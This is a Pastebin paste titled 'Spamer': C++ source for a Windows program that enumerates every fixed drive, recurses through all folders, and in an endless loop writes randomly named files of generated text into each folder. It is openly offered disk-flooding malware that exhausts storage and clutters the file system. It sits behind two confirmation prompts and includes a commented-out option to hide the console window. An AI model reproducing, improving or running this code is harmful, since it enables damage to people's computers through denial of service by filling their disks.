Xom9ik

Spamer

Oct 8th, 2017
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.78 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <iostream>
  4. #include <fstream>
  5. #include <locale>
  6. using namespace std;
  7. #pragma comment(linker, "/STACK:16777216")
  8. #define _WIN32_WINNT 0x0500
  9. long long int countCreate = 0;
  10. inline string generateText(int min, int max)
  11. {
  12.     string text = "";
  13.     int n = min + rand() % (max - min);
  14.     for (int i = 0; i < n; i++)
  15.         text += to_string(i);
  16.     return text;
  17. }
  18.  
  19. inline int scan(string root, string(&folders)[5000])
  20. {
  21.     //cout << "Scan " << root << endl;
  22.     std::wstring widestr = std::wstring(root.begin(), root.end());
  23.     const wchar_t* widecstr = widestr.c_str();
  24.     WIN32_FIND_DATAW wfd;
  25.     HANDLE const hFind = FindFirstFileW(widecstr, &wfd);
  26.     int count = -1;
  27.     //cout << "Folders:" << endl;
  28.     if (INVALID_HANDLE_VALUE != hFind)
  29.     {
  30.         if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  31.         {
  32.             if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT))
  33.             {
  34.                 do
  35.                 {
  36.                     count++;
  37.                     char ch[260];
  38.                     char DefChar = ' ';
  39.                     WideCharToMultiByte(CP_ACP, 0, &wfd.cFileName[0], -1, ch, 260, &DefChar, NULL);
  40.                     std::string ss(ch);
  41.                     folders[count] = ss;
  42.                     if (folders[count] == ".")
  43.                     {
  44.                         count--;
  45.                     }
  46.                     else if (folders[count] == "..")
  47.                     {
  48.                         count--;
  49.                     }
  50.                     else if (folders[count] == "$RECYCLE.BIN")
  51.                     {
  52.                         count--;
  53.                     }
  54.                     else if (folders[count] == "System Volume Information")
  55.                     {
  56.                         count--;
  57.                     }
  58.                     else if (1)
  59.                     {
  60.                         for (int i = 0; i < folders[count].length(); i++)
  61.                         {
  62.                             if (folders[count][i] == '.')
  63.                             {
  64.                                 count--;
  65.                                 break;
  66.                             }
  67.                         }
  68.                     }
  69.                 } while (NULL != FindNextFileW(hFind, &wfd));
  70.                 FindClose(hFind);
  71.                 /*for (int i = 0; i <= count; i++)
  72.                 {
  73.                     cout << folders[i] << endl;
  74.                 }*/
  75.             }
  76.         }
  77.     }
  78.     return count;
  79. }
  80.  
  81. inline void spam(string root)
  82. {
  83.     root += "\\*";
  84.     int Number;
  85.     string folders[5000];
  86.     int count = scan(root, folders);
  87.     if (count >= -1)
  88.     {
  89.         string text = generateText(50, 500000);
  90.         char Symvol[1];
  91.         int c = 0;
  92.         root.pop_back();
  93.         for (int i = 0; i<20; i++)
  94.         {
  95.             countCreate++;
  96.             if (countCreate % 500 == 0)
  97.                 cout << countCreate << endl;
  98.             c++;
  99.             string temp = "";
  100.             int min = 4, max = 20;
  101.             int n = min + rand() % (max - min);
  102.             for (int i = 0; i < n; i++)
  103.             {
  104.                 do {
  105.                     Number = rand() % 90 + 65;
  106.                 } while (Number >= 127);
  107.                 Symvol[0] = Number;
  108.                 temp += Symvol[0];
  109.             }
  110.             n = 1 + rand() % (temp.size() - 2);
  111.             temp[n] = '.';
  112.             temp = root + temp;
  113.             //cout << "Create " << temp << endl;
  114.             char charCreate[2048];
  115.             strcpy_s(charCreate, temp.c_str());
  116.             ofstream create;  //создаем поток
  117.             create.open("create.txt", ios::in); //говорим в какой файл
  118.             create.seekp(0, ios::end); //перемещаемся в конец файла
  119.             create.write(charCreate, strlen(charCreate));  //Пишем строку
  120.             create << endl; //говорим что конец строки
  121.             create.close(); //закрываем поток
  122.             ofstream in(temp);
  123.             in << text;
  124.         }
  125.     }
  126.     for (int i = 0; i <= count; i++)
  127.     {
  128.         string temp = root;
  129.         root += folders[i];
  130.         spam(root); //stack overflow
  131.         root = temp;
  132.     }
  133. }
  134.  
  135. int main()
  136. {
  137.     //HWND hWnd = GetConsoleWindow();
  138.     //ShowWindow(hWnd, SW_HIDE);
  139.     SetConsoleCP(1251);
  140.     SetConsoleOutputCP(1251);
  141.     srand(time(NULL));
  142.     ifstream file;
  143.     file.open("create.txt");
  144.     if (!file)
  145.         ofstream createNull("create.txt");
  146.     int ready;
  147.     string disk[40];
  148.     string A_Z[40];
  149.     int countDisk = 0;
  150.     char buf[26];
  151.     GetLogicalDriveStringsA(sizeof(buf), buf);
  152.     char *DRF[] = { "Unknown", "Invalid path", "Removable", "Fixed", "Network drive", "CD-ROM", "RAM disk" };
  153.     for (char *s = buf; *s; s += strlen(s) + 1)
  154.     {
  155.         if (DRF[GetDriveTypeA(s)] == "Fixed")
  156.         {
  157.             countDisk++;
  158.             disk[countDisk] = s;
  159.             disk[countDisk] += "\*";
  160.         }
  161.     }
  162.     for (int i = 0; i <= countDisk; i++)
  163.         cout << disk[i] << endl;
  164.     cout << "You ready? (1 - yes)" << endl;
  165.     cin >> ready;
  166.     if (ready == 1)
  167.     {
  168.         cout << "Really? (52 - yes)" << endl;
  169.         cin >> ready;
  170.         if (ready == 52)
  171.         {
  172.             while (1)
  173.             {
  174.                 for (int i = 0; i <= countDisk; i++)
  175.                 {
  176.                     string root = disk[i];
  177.                     //string root = "D:\\*";
  178.                     int Number;
  179.                     string folders[5000];
  180.                     int count = scan(root, folders);
  181.                     if (count >= 1)
  182.                     {
  183.                         string text = generateText(50, 500000);
  184.                         char Symvol[1];
  185.                         int c = -1;
  186.                         root.pop_back();
  187.                         for (int i = 0; i<20; i++)
  188.                         {
  189.                             countCreate++;
  190.                             if (countCreate % 500 == 0)
  191.                                 cout << countCreate << endl;
  192.                             c++;
  193.                             string temp = "";
  194.                             int min = 4, max = 20;
  195.                             int n = min + rand() % (max - min);
  196.                             for (int i = 0; i < n; i++)
  197.                             {
  198.                                 do {
  199.                                     Number = rand() % 90 + 65;
  200.                                 } while (Number >= 127);
  201.                                 Symvol[0] = Number;
  202.                                 temp += Symvol[0];
  203.                             }
  204.                             n = 1 + rand() % (temp.size() - 2);
  205.                             temp[n] = '.';
  206.                             temp = root + temp;                
  207.                             //cout << "Create in root " << temp << endl;
  208.                             char charCreate[2048];
  209.                             strcpy_s(charCreate, temp.c_str());
  210.                             ofstream create;  //создаем поток
  211.                             create.open("create.txt", ios::in); //говорим в какой файл
  212.                             create.seekp(0, ios::end); //перемещаемся в конец файла
  213.                             create.write(charCreate, strlen(charCreate));  //Пишем строку
  214.                             create << endl; //говорим что конец строки
  215.                             create.close(); //закрываем поток
  216.                             ofstream in(temp);
  217.                             in << text;
  218.                             try { if (c%count == 0) c = -1; } catch (...) { }
  219.                         }
  220.                     }
  221.                     for (int i = 0; i<=count; i++) {
  222.                         string temp = root;
  223.                         root += folders[i];
  224.                         spam(root);
  225.                         root = temp;
  226.                     }
  227.                 }
  228.             }
  229.         }      
  230.     }
  231. }
Advertisement
Add Comment
Please, Sign In to add comment